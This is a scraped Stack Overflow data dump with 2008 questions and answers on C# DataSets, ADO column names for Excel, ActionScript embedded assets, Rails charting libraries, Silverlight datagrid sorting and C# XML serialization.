the data need to be?</strong> Do you always need to have the very very latest, or will the database not change that frequently?</li>\n<li><strong>What are you using the data for?</strong> If you're just using it for reports, then you can easily fill a dataset, run your report, then throw the dataset away, and next time just make a new one. That'll give you more current data anyway.</li>\n<li><strong>Just how much data are we talking about?</strong> You've said you're working with a relatively small dataset, so there's not a major memory impact if you load it all in memory and hold it there forever.</li>\n</ol>\n\n<p>Since you say it's a single-user app without a lot of data, I think you're safe loading everything in at the beginning, using it in your datasets, and then updating on close.</p>\n\n<p>The main thing you need to be concerned with in this scenario is: What if the app exits abnormally, due to a crash, power outage, etc.? Will the user lose all his work? But as it happens, datasets are extremely easy to serialize, so you can fairly easily implement a \"save every so often\" procedure to serialize the dataset contents to disk so the user won't lose a lot of work.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87514", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16757/" ]
I'm an experienced programmer in a legacy (yet object oriented) development tool and making the switch to C#/.Net. I'm writing a small single user app using SQL server CE 3.5. I've read the conceptual DataSet and related doc and my code works. Now I want to make sure that I'm doing it "right", get some feedback from experienced .Net/SQL Server coders, the kind you don't get from reading the doc. I've noticed that I have code like this in a few places: ``` var myTableDataTable = new MyDataSet.MyTableDataTable(); myTableTableAdapter.Fill(MyTableDataTable); ... // other code ``` In a single user app, would you typically just do this once when the app starts, instantiate a DataTable object for each table and then store a ref to it so you ever just use that single object which is already filled with data? This way you would ever only read the data from the db once instead of potentially multiple times. Or is the overhead of this so small that it just doesn't matter (plus could be counterproductive with large tables)?
For CE, it's probably a non issue. If you were pushing this app to thousands of users and they were all hitting a centralized DB, you might want to spend some time on optimization. In a single-user instance DB like CE, unless you've got data that says you need to optimize, I wouldn't spend any time worrying about it. Premature optimization, etc.
87,541
<p>What column names cannot be used when creating an Excel spreadsheet with ADO.</p> <p>I have a statement that creates a page in a spreadsheet:</p> <pre><code>CREATE TABLE [TableName] (Column string, Column2 string); </code></pre> <p>I have found that using a column name of <code>Date</code> or <code>Container</code> will generate an error when the statement is executed.</p> <p>Does anyone have a complete (or partial) list of words that cannot be used as column names? This is for use in a user-driven environment and it would be better to "fix" the columns than to crash. </p> <p>My work-around for these is to replace any occurences of <code>Date</code> or <code>Container</code> with <code>Date_</code> and <code>Container_</code> respectively.</p>
[ { "answer_id": 89923, "author": "Nat", "author_id": 13813, "author_profile": "https://Stackoverflow.com/users/13813", "pm_score": 1, "selected": false, "text": "<p>It may be possible to define a custom template for the DIP and deploy that to the site, setting the content type to link to that template.</p>\n" }, { "answer_id": 2131088, "author": "arden", "author_id": 258265, "author_profile": "https://Stackoverflow.com/users/258265", "pm_score": 0, "selected": false, "text": "<p>I found a solution in a blog, but you have to use InfoPath... Here is the link: \nUsing SharePoint Metadata in Word Documents – The Lookup Column </p>\n\n<p><a href=\"http://vspug.com/maartene/2009/03/13/using-sharepoint-metadata-in-word-documents-the-lookup-column-issue/\" rel=\"nofollow noreferrer\">http://vspug.com/maartene/2009/03/13/using-sharepoint-metadata-in-word-documents-the-lookup-column-issue/</a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87541", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5008/" ]
What column names cannot be used when creating an Excel spreadsheet with ADO. I have a statement that creates a page in a spreadsheet: ``` CREATE TABLE [TableName] (Column string, Column2 string); ``` I have found that using a column name of `Date` or `Container` will generate an error when the statement is executed. Does anyone have a complete (or partial) list of words that cannot be used as column names? This is for use in a user-driven environment and it would be better to "fix" the columns than to crash. My work-around for these is to replace any occurences of `Date` or `Container` with `Date_` and `Container_` respectively.
It may be possible to define a custom template for the DIP and deploy that to the site, setting the content type to link to that template.
87,557
<p>I have a class with many embedded assets. </p> <p>Within the class, I would like to get the class definition of an asset by name. I have tried using getDefinitionByName(), and also ApplicationDomain.currentDomain.getDefinition() but neither work.</p> <p>Example:</p> <pre><code>public class MyClass { [Embed(source="images/image1.png")] private static var Image1Class:Class; [Embed(source="images/image2.png")] private static var Image2Class:Class; [Embed(source="images/image3.png")] private static var Image3Class:Class; private var _image:Bitmap; public function MyClass(name:String) { var ClassDef:Class = getDefinitionByName(name) as Class; //&lt;&lt;-- Fails _image = new ClassDef() as Bitmap; } } var cls:MyClass = new MyClass("Image1Class"); </code></pre>
[ { "answer_id": 87596, "author": "Marc Hughes", "author_id": 6791, "author_profile": "https://Stackoverflow.com/users/6791", "pm_score": 4, "selected": true, "text": "<p>This doesn't answer your question, but it may solve your problem. I believe doing something like this should work:</p>\n\n<pre><code>public class MyClass\n{\n [Embed(source=\"images/image1.png\")] private static var Image1Class:Class;\n [Embed(source=\"images/image2.png\")] private static var Image2Class:Class;\n [Embed(source=\"images/image3.png\")] private static var Image3Class:Class;\n\n private var _image:Bitmap;\n\n public function MyClass(name:String)\n {\n _image = new this[name]() as Bitmap; \n }\n}\n\nvar cls:MyClass = new MyClass(\"Image1Class\");\n</code></pre>\n\n<p>I'm having a tough time remembering if bracket notation works on sealed classes. If it doesn't, a simple solution is to mark the class as dynamic.</p>\n" }, { "answer_id": 87626, "author": "davr", "author_id": 14569, "author_profile": "https://Stackoverflow.com/users/14569", "pm_score": 2, "selected": false, "text": "<p>You don't need to use any fancy getDefinitionByName() methods, simply refer to it dynamically. In your case, replace the 'Fails' line with:</p>\n\n<pre><code>var classDef:Class = MyClass[name] as Class;\n</code></pre>\n\n<p>And that should do it.</p>\n" }, { "answer_id": 1023192, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Thank you so much! I just spent almost 5 hours trying to get the POS getDefinitionByName to work with the getQualifiedClassName that I was ready to throw stuff!! My final working code looks like this and even gets the string name from an array. </p>\n\n<p>CreatureParam is a 2 dimentional array of strings;</p>\n\n<p>Type is an integer that is sent to flash by HTML tag which is turn comes from a MYSQL database via PHP.</p>\n\n<p>Mark1_cb is a combobox that is on the stage and has an instance name. It's output is also an integer.</p>\n\n<p>So this code directly below imports the class \"BirdBodyColor_mc\" from an external swf \"ArtLibrary.swf\". BirdBodyColor_mc is a movieclip created from a png image. Note you must double click on the movieclip in the ArtLibrary.fla and insert a second key frame. Movieclips apparently need two frames or flash tries to import it as a sprite and causes a type mismatch. </p>\n\n<p>[Embed(source=\"ArtLibrary.swf\", symbol=\"BirdBodyColor_mc\")]\nvar BirdBodyColor_mc:Class;</p>\n\n<p>Normally I would put an instance of this movieclip class on the stage by using this code. </p>\n\n<p>myMC:MovieClip = new BirdBodyColor_mc();\naddChild(myMC);</p>\n\n<p>var Definition:Class = this[\"BirdBodyColor_mc\"] as Class;\nvar Mark1:MovieClip = new Definition();</p>\n\n<p>But I need to do this using a string value looked up in my array. So here is the code for that.</p>\n\n<p>var Definition:Class = this[CreatureParam[Type][Mark1_cb + 2]] as Class;\nvar Mark1:MovieClip = new Definition();</p>\n" }, { "answer_id": 5819081, "author": "IQAndreas", "author_id": 617937, "author_profile": "https://Stackoverflow.com/users/617937", "pm_score": 2, "selected": false, "text": "<p>The reason your method does not work is because \"Image1Class\" is a <em>variable</em> name, not the actual <em>Class name</em>.</p>\n\n<p>You can get the class name like this</p>\n\n<pre><code>import flash.utils.getQualifiedClassName;\ntrace(getQualifiedClassName(Image1Class));\n</code></pre>\n\n<p>Which as you may see, means your class name (the one that should be passed into the function) is something like <code>MyClass_Image1Class</code>.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87557", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8399/" ]
I have a class with many embedded assets. Within the class, I would like to get the class definition of an asset by name. I have tried using getDefinitionByName(), and also ApplicationDomain.currentDomain.getDefinition() but neither work. Example: ``` public class MyClass { [Embed(source="images/image1.png")] private static var Image1Class:Class; [Embed(source="images/image2.png")] private static var Image2Class:Class; [Embed(source="images/image3.png")] private static var Image3Class:Class; private var _image:Bitmap; public function MyClass(name:String) { var ClassDef:Class = getDefinitionByName(name) as Class; //<<-- Fails _image = new ClassDef() as Bitmap; } } var cls:MyClass = new MyClass("Image1Class"); ```
This doesn't answer your question, but it may solve your problem. I believe doing something like this should work: ``` public class MyClass { [Embed(source="images/image1.png")] private static var Image1Class:Class; [Embed(source="images/image2.png")] private static var Image2Class:Class; [Embed(source="images/image3.png")] private static var Image3Class:Class; private var _image:Bitmap; public function MyClass(name:String) { _image = new this[name]() as Bitmap; } } var cls:MyClass = new MyClass("Image1Class"); ``` I'm having a tough time remembering if bracket notation works on sealed classes. If it doesn't, a simple solution is to mark the class as dynamic.
87,561
<p>I'd like to add some pie, bar and scatter charts to my Ruby on Rails web application. I want want them to be atractive, easy to add and not introduce much overhead. </p> <p>What charting solution would you recommend?<br> What are its drawbacks (requires Javascript, Flash, expensive, etc)?</p>
[ { "answer_id": 87579, "author": "David Heggie", "author_id": 4309, "author_profile": "https://Stackoverflow.com/users/4309", "pm_score": 3, "selected": false, "text": "<p>Have you tried the <a href=\"http://code.google.com/apis/chart/\" rel=\"nofollow noreferrer\">Google Charts API</a>? - web service APIs don't really come much simpler. It's free to use, simple to implement, and the charts don't look too shoddy.</p>\n" }, { "answer_id": 87593, "author": "Clinton Dreisbach", "author_id": 6262, "author_profile": "https://Stackoverflow.com/users/6262", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://pullmonkey.com/projects/open_flash_chart2/\" rel=\"nofollow noreferrer\">Open Flash Chart II</a> is a free option that gives very nice output. It does, as you'd expect, require Flash.</p>\n\n<p><a href=\"http://www.fusioncharts.com/\" rel=\"nofollow noreferrer\">Fusion Charts</a> is even nicer, but is $499. In researching this, I found <a href=\"http://www.fusioncharts.com/free/\" rel=\"nofollow noreferrer\">a cut-down free version</a> that might serve your needs.</p>\n" }, { "answer_id": 87597, "author": "delux247", "author_id": 5569, "author_profile": "https://Stackoverflow.com/users/5569", "pm_score": 2, "selected": false, "text": "<p>Google charts is very nice, but it's not a rails only solution. You simple use the programming language of your choice to dynamically produce urls that contain the data and google returns you back a nice image with your chart.</p>\n\n<p><a href=\"http://code.google.com/apis/chart/\" rel=\"nofollow noreferrer\">http://code.google.com/apis/chart/</a></p>\n" }, { "answer_id": 87646, "author": "Clinton Dreisbach", "author_id": 6262, "author_profile": "https://Stackoverflow.com/users/6262", "pm_score": 7, "selected": true, "text": "<p><a href=\"http://code.google.com/apis/chart/\" rel=\"noreferrer\">Google Charts</a> is an excellent choice if you don't want to use Flash. It's pretty easy to use on its own, but for Rails, it's even easier with the <a href=\"http://badpopcorn.com/blog/2008/09/08/rails-google-charts-gchartrb/\" rel=\"noreferrer\">gchartrb</a> gem. An example:</p>\n\n<pre><code>GoogleChart::PieChart.new('320x200', \"Things I Like To Eat\", false) do |pc| \n pc.data \"Broccoli\", 30\n pc.data \"Pizza\", 20\n pc.data \"PB&amp;J\", 40 \n pc.data \"Turnips\", 10 \n puts pc.to_url \nend\n</code></pre>\n" }, { "answer_id": 87667, "author": "Doug Moore", "author_id": 13179, "author_profile": "https://Stackoverflow.com/users/13179", "pm_score": 4, "selected": false, "text": "<p>I am a fan of <a href=\"http://nubyonrails.com/pages/gruff\" rel=\"noreferrer\">Gruff Graphs</a>, but <a href=\"http://code.google.com/apis/chart/\" rel=\"noreferrer\">Google Charts</a> is also good if you don't mind relying on an external server.</p>\n" }, { "answer_id": 87886, "author": "RichH", "author_id": 16779, "author_profile": "https://Stackoverflow.com/users/16779", "pm_score": 2, "selected": false, "text": "<p>I've just found <a href=\"http://ziya.liquidrail.com\" rel=\"nofollow noreferrer\">ZiYa</a> produces some really sexy charts and is Rails specific.</p>\n\n<p>The downsides are it uses Flash and if you don't want the sites to link to XML/SWF page it costs $50 per site.</p>\n\n<p>[I've not decided on it yet, but wanted to throw it out there in case people want to vote it up]</p>\n" }, { "answer_id": 88738, "author": "AndrewR", "author_id": 2994, "author_profile": "https://Stackoverflow.com/users/2994", "pm_score": 0, "selected": false, "text": "<p>We do this by shelling out to gnuplot to generate the charts as PNGs server-side. It's a bit old-school and the charts aren't interactive but it works and is cacheable.</p>\n\n<p>(The other reason we do this is so we can put exactly the same chart in the PDF version of the report).</p>\n" }, { "answer_id": 89486, "author": "Dan Harper", "author_id": 14530, "author_profile": "https://Stackoverflow.com/users/14530", "pm_score": 2, "selected": false, "text": "<p>In the old days, I decided to roll my own (using RVG/RMagick), mainly because Gruff didn't have everything I wanted. The downside was that finding and eliminating all the bugs in graphing code is a pain. These days Gruff is my choice as it's really gone forward in terms of customization and flexibility.</p>\n\n<p>The standard Gruff templates/color choices suck though, so you'll need to get your hands dirty for best results.</p>\n" }, { "answer_id": 89521, "author": "Ben Crouse", "author_id": 6705, "author_profile": "https://Stackoverflow.com/users/6705", "pm_score": 4, "selected": false, "text": "<p>If you don't need images, and can settle on requiring JavaScript, you could try a client-side solution like the jQuery plugin <a href=\"http://code.google.com/p/flot/\" rel=\"noreferrer\">flot</a>.</p>\n" }, { "answer_id": 89535, "author": "Brian Deterling", "author_id": 14619, "author_profile": "https://Stackoverflow.com/users/14619", "pm_score": 2, "selected": false, "text": "<p>I've used Fusion Charts extensively from within a Java web application, but it should work the same way from Rails since you're just embedding a Flash via HTML or JavaScript and passing it XML data. It's a slick package and their support has always been very responsive.</p>\n" }, { "answer_id": 89862, "author": "Tony Pitale", "author_id": 1167846, "author_profile": "https://Stackoverflow.com/users/1167846", "pm_score": 0, "selected": false, "text": "<p>This isn't specifically RoR however, it is pretty slick port of Gruff to javascript: <a href=\"http://bluff.jcoglan.com/\" rel=\"nofollow noreferrer\">http://bluff.jcoglan.com/</a></p>\n" }, { "answer_id": 91496, "author": "Matthias Winkelmann", "author_id": 4494, "author_profile": "https://Stackoverflow.com/users/4494", "pm_score": 3, "selected": false, "text": "<p>There's also <a href=\"http://scruffy.rubyforge.org/\" rel=\"nofollow noreferrer\">Scruffy</a>. I took a look at the code recently and it seemed easy to modify/extend. It produces svg and (by conversion) png.</p>\n" }, { "answer_id": 92976, "author": "Jordi Bunster", "author_id": 4272, "author_profile": "https://Stackoverflow.com/users/4272", "pm_score": 0, "selected": false, "text": "<p><a href=\"http://www.advsofteng.com/\" rel=\"nofollow noreferrer\">ChartDirector</a>. Ugly API, but good, server-side image results. Self contained binary.</p>\n" }, { "answer_id": 93059, "author": "Nathan de Vries", "author_id": 11109, "author_profile": "https://Stackoverflow.com/users/11109", "pm_score": 2, "selected": false, "text": "<p>You should take a look at <a href=\"http://dmitry.baranovskiy.com\" rel=\"nofollow noreferrer\">Dmitry Baranovskiy's</a> Javascript library called <a href=\"http://raphaeljs.com\" rel=\"nofollow noreferrer\">Raphaël</a>.</p>\n" }, { "answer_id": 97108, "author": "Otto", "author_id": 9594, "author_profile": "https://Stackoverflow.com/users/9594", "pm_score": 3, "selected": false, "text": "<p>It <strike>requires flash and</strike> isn't free (though inexpensive): <a href=\"http://www.amcharts.com/\" rel=\"nofollow noreferrer\">amcharts</a>.</p>\n\n<p>I've used it successfully and like it. I evaluated a number of options a while back and chose it. At the time, however, Google Charts wasn't as mature as it seems to be now. I would consider that first if I were to re-evaluate now.</p>\n" }, { "answer_id": 108672, "author": "scottru", "author_id": 8192, "author_profile": "https://Stackoverflow.com/users/8192", "pm_score": 0, "selected": false, "text": "<p>FWIW, I'm not a fan of using Google Charts when fit &amp; finish is important. I find that the variables for sizing, in particular, are unpredictable - the chart does its own thing.</p>\n\n<p>I haven't yet played with Gruff/Bluff/etc., but for a higher-profile project I won't use Google Charts.</p>\n" }, { "answer_id": 113936, "author": "Thibaut Barrère", "author_id": 20302, "author_profile": "https://Stackoverflow.com/users/20302", "pm_score": 0, "selected": false, "text": "<p>If you want quite sexy charts, easy to generate, and you can enable Flash, then you should definitely have a look at <a href=\"http://www.maani.us/xml_charts/\" rel=\"nofollow noreferrer\">maani.us xml/swf charts</a>.</p>\n\n<p>Some XML builder behind it and you're ready to go.</p>\n" }, { "answer_id": 317656, "author": "Laurent Farcy", "author_id": 40666, "author_profile": "https://Stackoverflow.com/users/40666", "pm_score": 2, "selected": false, "text": "<p>Regarding <a href=\"http://www.amcharts.com/\" rel=\"nofollow noreferrer\">amcharts</a>, there's a \"free\" version with a very few restrictions that generates Flash charts including the 'chart by amCharts.com' mention.</p>\n\n<p>And there's a nice plugin, <a href=\"http://ambling.rubyforge.org/\" rel=\"nofollow noreferrer\">ambling</a>, that provides you with some helper methods to easily add charts to your views. Please note that <a href=\"http://www.amcharts.com/docs/\" rel=\"nofollow noreferrer\">amCharts.com reference documentation</a> is still a must to tailor the chart to your requirements.</p>\n" }, { "answer_id": 366318, "author": "Jerry Cheung", "author_id": 25024, "author_profile": "https://Stackoverflow.com/users/25024", "pm_score": 3, "selected": false, "text": "<p>I 2nd the vote for <a href=\"http://code.google.com/p/flot/\" rel=\"noreferrer\">flot</a>. The latest version lets you do some animations and actions that I previously thought would only be possible via Flash. The documentation is fantastic. It simple to write by hand, but for simple cases it gets even easier with a Rails plugin called <a href=\"http://github.com/joshuamiller/flotilla/tree/master\" rel=\"noreferrer\">flotilla</a>. You should check out the <a href=\"http://people.iola.dk/olau/flot/examples/\" rel=\"noreferrer\">examples page</a> for a better idea of what it's capable of. The zooming and hover capabilities are especially impressive.</p>\n" }, { "answer_id": 417507, "author": "RichH", "author_id": 16779, "author_profile": "https://Stackoverflow.com/users/16779", "pm_score": 2, "selected": false, "text": "<p>The new Google Visualization appears to produce charts that are of more varied type, better looking and interactive than Google Graphs. </p>\n\n<p><a href=\"http://code.google.com/apis/visualization/\" rel=\"nofollow noreferrer\">http://code.google.com/apis/visualization/</a></p>\n" }, { "answer_id": 670629, "author": "Srividya Sharma", "author_id": 80803, "author_profile": "https://Stackoverflow.com/users/80803", "pm_score": 0, "selected": false, "text": "<p><a href=\"http://www.fusioncharts.com\" rel=\"nofollow noreferrer\">FusionCharts</a> is a very good charting product. Works well with RoR. Their support and forums are good. The free version of this product has limited number of charts and features, but no watermark.</p>\n" }, { "answer_id": 1028735, "author": "Bryan Ward", "author_id": 126994, "author_profile": "https://Stackoverflow.com/users/126994", "pm_score": 2, "selected": false, "text": "<p>GoogleCharts and Gruff charts are great, but sometimes they lack some features that I need for more scientific plotting. There is a gem for gnuplot which may be helpful for some of these situations.</p>\n\n<p><a href=\"http://rgplot.rubyforge.org/\" rel=\"nofollow noreferrer\">http://rgplot.rubyforge.org/</a></p>\n" }, { "answer_id": 4997280, "author": "Preston Lee", "author_id": 369939, "author_profile": "https://Stackoverflow.com/users/369939", "pm_score": 1, "selected": false, "text": "<p>I personally prefer JavaScript-based charts over Flash. If that's ok, also check out <a href=\"http://highcharts.com\" rel=\"nofollow\">High Charts</a>. A <a href=\"https://github.com/loudpixel/highcharts-rails\" rel=\"nofollow\">Rails plugin</a> is also available.</p>\n" }, { "answer_id": 5011534, "author": "Clinton", "author_id": 216287, "author_profile": "https://Stackoverflow.com/users/216287", "pm_score": 2, "selected": false, "text": "<p>I have started using <a href=\"http://vis.stanford.edu/protovis/\" rel=\"nofollow\">protovis</a> to generate SVG charts with javascript. My basic approach in rails is to have a controller that returns the data to be charted as JSON, and scoop it up with a bit of javascript and protovis.</p>\n\n<p>Only downside, is that full IE support (Since it is based on SVG) is currently unavailable straight out of the box... However, current patches go a fair way to providing IE support, details of which can be found <a href=\"http://code.google.com/p/protovis-js/issues/detail?id=15\" rel=\"nofollow\">here</a>.</p>\n" }, { "answer_id": 6091452, "author": "amit_saxena", "author_id": 762747, "author_profile": "https://Stackoverflow.com/users/762747", "pm_score": 0, "selected": false, "text": "<p>I just started using googlecharts for my rails 3 project. It is nice and clean, and seems to be the only google visualization api based gem which is alive. Others are inactive and mostly use the old google charts api (released somewhere in 2007-2008). </p>\n\n<p><a href=\"https://github.com/mattetti/googlecharts\" rel=\"nofollow\">https://github.com/mattetti/googlecharts</a></p>\n" }, { "answer_id": 12625661, "author": "Steven Yue", "author_id": 617857, "author_profile": "https://Stackoverflow.com/users/617857", "pm_score": 2, "selected": false, "text": "<p><a href=\"http://oesmith.github.com/morris.js/\" rel=\"nofollow\">Morris.js</a> is nice and open source. I would like to choose it comparing to highcharts. There is a new great video tutorial from <a href=\"http://railscasts.com/episodes/223-charts-graphs-revised\" rel=\"nofollow\">Railscasts</a></p>\n" }, { "answer_id": 12903182, "author": "Thilo", "author_id": 157752, "author_profile": "https://Stackoverflow.com/users/157752", "pm_score": 1, "selected": false, "text": "<p>The gchartrb gem is no longer maintained, it seems. The author <a href=\"https://github.com/deepakjois/gchartrb/issues/1\" rel=\"nofollow\">points</a> to these gems:</p>\n\n<ul>\n<li><a href=\"https://github.com/mattetti/googlecharts\" rel=\"nofollow\">googlecharts</a></li>\n<li><a href=\"https://github.com/abhay/gchart/\" rel=\"nofollow\">gchart</a> (seems abandoned as well)</li>\n</ul>\n" }, { "answer_id": 15038024, "author": "RichH", "author_id": 16779, "author_profile": "https://Stackoverflow.com/users/16779", "pm_score": 0, "selected": false, "text": "<p><a href=\"http://d3js.org/\" rel=\"nofollow\">D3</a> has become my preferred way add great looking charts to web apps. You have to do a little mroe work that some other frameworks, but the appearance and control outweighs that. </p>\n\n<p>I primarily use SVG, which means no IE8, but that is becoming less of an issue.</p>\n" }, { "answer_id": 21655251, "author": "usha", "author_id": 2112633, "author_profile": "https://Stackoverflow.com/users/2112633", "pm_score": 0, "selected": false, "text": "<p><a href=\"http://www.highcharts.com/products/highcharts\" rel=\"nofollow\">HighChart</a> - A charting library written in pure JavaScript</p>\n\n<p>Gems like <a href=\"https://github.com/PerfectlyNormal/highcharts-rails\" rel=\"nofollow\">highchart-rails</a>, <a href=\"https://github.com/michelson/lazy_high_charts\" rel=\"nofollow\">lazy-high-chart</a> makes the integration with rails easier</p>\n" }, { "answer_id": 34348150, "author": "ytbryan", "author_id": 388280, "author_profile": "https://Stackoverflow.com/users/388280", "pm_score": 0, "selected": false, "text": "<p><code>gem 'chart'</code> makes it easy to add ChartJS and NVD3 charts to rails.</p>\n" }, { "answer_id": 72211443, "author": "Igor Kasyanchuk", "author_id": 929251, "author_profile": "https://Stackoverflow.com/users/929251", "pm_score": 0, "selected": false, "text": "<p>My own option for people who need the support of multiple types of charts and rails helpers to simplify integration - <a href=\"https://github.com/railsjazz/rails_charts\" rel=\"nofollow noreferrer\">https://github.com/railsjazz/rails_charts</a></p>\n<p>It's based on Apache eCharts.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87561", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16779/" ]
I'd like to add some pie, bar and scatter charts to my Ruby on Rails web application. I want want them to be atractive, easy to add and not introduce much overhead. What charting solution would you recommend? What are its drawbacks (requires Javascript, Flash, expensive, etc)?
[Google Charts](http://code.google.com/apis/chart/) is an excellent choice if you don't want to use Flash. It's pretty easy to use on its own, but for Rails, it's even easier with the [gchartrb](http://badpopcorn.com/blog/2008/09/08/rails-google-charts-gchartrb/) gem. An example: ``` GoogleChart::PieChart.new('320x200', "Things I Like To Eat", false) do |pc| pc.data "Broccoli", 30 pc.data "Pizza", 20 pc.data "PB&J", 40 pc.data "Turnips", 10 puts pc.to_url end ```
87,587
<p>Continuing my problem from yesterday, the Silverlight datagrid I have from this <a href="https://stackoverflow.com/questions/74461/silverlight-datagrid-control-selection-changed-event-interfering-with-sorting">issue</a> is now causing Stack Overflow errors when sorting a column with a large amount of data (Like the text column that contains a where clause for a SQL statment). When you sort, it'll fire the SelectedIndexChanged event for the datagrid and then still try to stort. If you click the header again the stack overflow occours. </p> <p>Does anyone have an idea on how to stop the sorting on this control for a column? All the other columns sort fine (but still fire that darn SelectedIndexChanged event), but if I could shut off the column for whereClause it'd be perfect.</p> <p>Does anyone have a better idea at how to get this to work?</p>
[ { "answer_id": 88253, "author": "BKimmel", "author_id": 13776, "author_profile": "https://Stackoverflow.com/users/13776", "pm_score": 0, "selected": false, "text": "<p>Give this a shot:</p>\n\n<pre><code>dataGridView1.Columns[*Numberofthecolumnyoudontwantsorted*].SortMode\n= DataGridViewColumnSortMode.NotSortable;\n</code></pre>\n" }, { "answer_id": 92430, "author": "Rob", "author_id": 12413, "author_profile": "https://Stackoverflow.com/users/12413", "pm_score": 0, "selected": false, "text": "<p>@BKimmel - It won't work since this is in silverlight and apparently that part of the grid column has not yet been worked on. In the XAML of the page it doesn't show up with the attribute for sortmode on the columns, and in the backend code, it doesn't recognize it as it isn't a web control, it's a silverlight control.</p>\n\n<p>Thanks though. Anyone else?</p>\n" }, { "answer_id": 210374, "author": "Bob King", "author_id": 6897, "author_profile": "https://Stackoverflow.com/users/6897", "pm_score": 3, "selected": true, "text": "<p>I'm only familiar with the WPF version of this datagrid, but try this:</p>\n\n<pre><code>&lt;data:DataGridTextColumn CanUserSort=\"False\" Header=\"First Name\" Binding=\"{Binding FirstName}\" /&gt;\n</code></pre>\n\n<p>Add the CanUserSort=\"False\" attribute on each column you don't want sorted.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87587", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12413/" ]
Continuing my problem from yesterday, the Silverlight datagrid I have from this [issue](https://stackoverflow.com/questions/74461/silverlight-datagrid-control-selection-changed-event-interfering-with-sorting) is now causing Stack Overflow errors when sorting a column with a large amount of data (Like the text column that contains a where clause for a SQL statment). When you sort, it'll fire the SelectedIndexChanged event for the datagrid and then still try to stort. If you click the header again the stack overflow occours. Does anyone have an idea on how to stop the sorting on this control for a column? All the other columns sort fine (but still fire that darn SelectedIndexChanged event), but if I could shut off the column for whereClause it'd be perfect. Does anyone have a better idea at how to get this to work?
I'm only familiar with the WPF version of this datagrid, but try this: ``` <data:DataGridTextColumn CanUserSort="False" Header="First Name" Binding="{Binding FirstName}" /> ``` Add the CanUserSort="False" attribute on each column you don't want sorted.
87,621
<p>I have an XML that I want to load to objects, manipulate those objects (set values, read values) and then save those XMLs back. It is important for me to have the XML in the structure (xsd) that I created.</p> <p>One way to do that is to write my own serializer, but is there a built in support for it or open source in C# that I can use? </p>
[ { "answer_id": 87633, "author": "dcstraw", "author_id": 10391, "author_profile": "https://Stackoverflow.com/users/10391", "pm_score": 0, "selected": false, "text": "<p>I'll bet NetDataContractSerializer can do what you want.</p>\n" }, { "answer_id": 87638, "author": "ljs", "author_id": 3394, "author_profile": "https://Stackoverflow.com/users/3394", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://msdn.microsoft.com/en-us/library/bb308960.aspx\" rel=\"noreferrer\">LINQ to XML</a> is very powerful if you're using .net 3.5, <a href=\"http://www.hanselman.com/blog/LINQToEverythingLINQToXSDAddsMoreLINQiness.aspx\" rel=\"noreferrer\">LINQ to XSD</a> may be useful to you too!</p>\n" }, { "answer_id": 87639, "author": "Joel Coehoorn", "author_id": 3043, "author_profile": "https://Stackoverflow.com/users/3043", "pm_score": 2, "selected": false, "text": "<p>Use xsd.exe command line program that comes with visual studio to create class files that you can use in your project/solution, and the System.Xml.Serialization namespace (specifically, the XmlSerializer class) to serialize/deserialze those classes to and from disk.</p>\n" }, { "answer_id": 87641, "author": "ckarras", "author_id": 5688, "author_profile": "https://Stackoverflow.com/users/5688", "pm_score": 6, "selected": true, "text": "<p>You can generate serializable C# classes from a schema (xsd) using xsd.exe:</p>\n\n<pre><code>xsd.exe dependency1.xsd dependency2.xsd schema.xsd /out:outputDir\n</code></pre>\n\n<p>If the schema has dependencies (included/imported schemas), they must all be included on the same command line.</p>\n" }, { "answer_id": 87671, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>using System.Xml.Serialization;\n this namespace has all the attributes you'll need if you want to map your xml to any random object. Alternatively you can use the xsd.exe tool </p>\n\n<p>xsd file.xsd {/classes | /dataset} [/element:element]\n [/language:language] [/namespace:namespace]\n [/outputdir:directory] [URI:uri]\nwhich will take your xsd files and create c# or vb.net classes out of them.</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/x6c1kb0s(VS.71).aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/x6c1kb0s(VS.71).aspx</a></p>\n" }, { "answer_id": 88003, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": false, "text": "<p>This code (C# DotNet 1.0 onwards) works quite well to serialize most objects to XML. (and back)\nIt does not work for objects containing ArrayLists, and if possible stick to using only Arrays</p>\n\n<pre><code>using System; \nusing System.IO;\nusing System.Text;\nusing System.Xml.Serialization;\nusing System.Runtime.Serialization;\nusing System.Runtime.Serialization.Formatters.Binary;\n\n\npublic static string Serialize(object objectToSerialize)\n{\n MemoryStream mem = new MemoryStream(); \n XmlSerializer ser = new XmlSerializer(objectToSerialize.GetType()); \n ser.Serialize(mem, objectToSerialize); \n ASCIIEncoding ascii = new ASCIIEncoding();\n return ascii.GetString(mem.ToArray());\n} \n\npublic static object Deserialize(Type typeToDeserialize, string xmlString)\n{\n byte[] bytes = Encoding.UTF8.GetBytes(xmlString);\n MemoryStream mem = new MemoryStream(bytes); \n XmlSerializer ser = new XmlSerializer(typeToDeserialize);\n return ser.Deserialize(mem);\n}\n</code></pre>\n" }, { "answer_id": 5699768, "author": "binball", "author_id": 186977, "author_profile": "https://Stackoverflow.com/users/186977", "pm_score": 1, "selected": false, "text": "<p>xsd.exe from Microsoft has a lot of bugs :|\nTry this open source pearl <a href=\"http://xsd2code.codeplex.com/\" rel=\"nofollow\">http://xsd2code.codeplex.com/</a></p>\n" }, { "answer_id": 7400273, "author": "Savaratkar", "author_id": 942301, "author_profile": "https://Stackoverflow.com/users/942301", "pm_score": 1, "selected": false, "text": "<p>We have created a framework which can auto-generate C# classes out of your XML. Its a visual item template to which you pass your XML and the classes are generated automatically in your project. Using these classes you can create/read/write your XML.</p>\n\n<p>Check this link for the framework and Visual C# 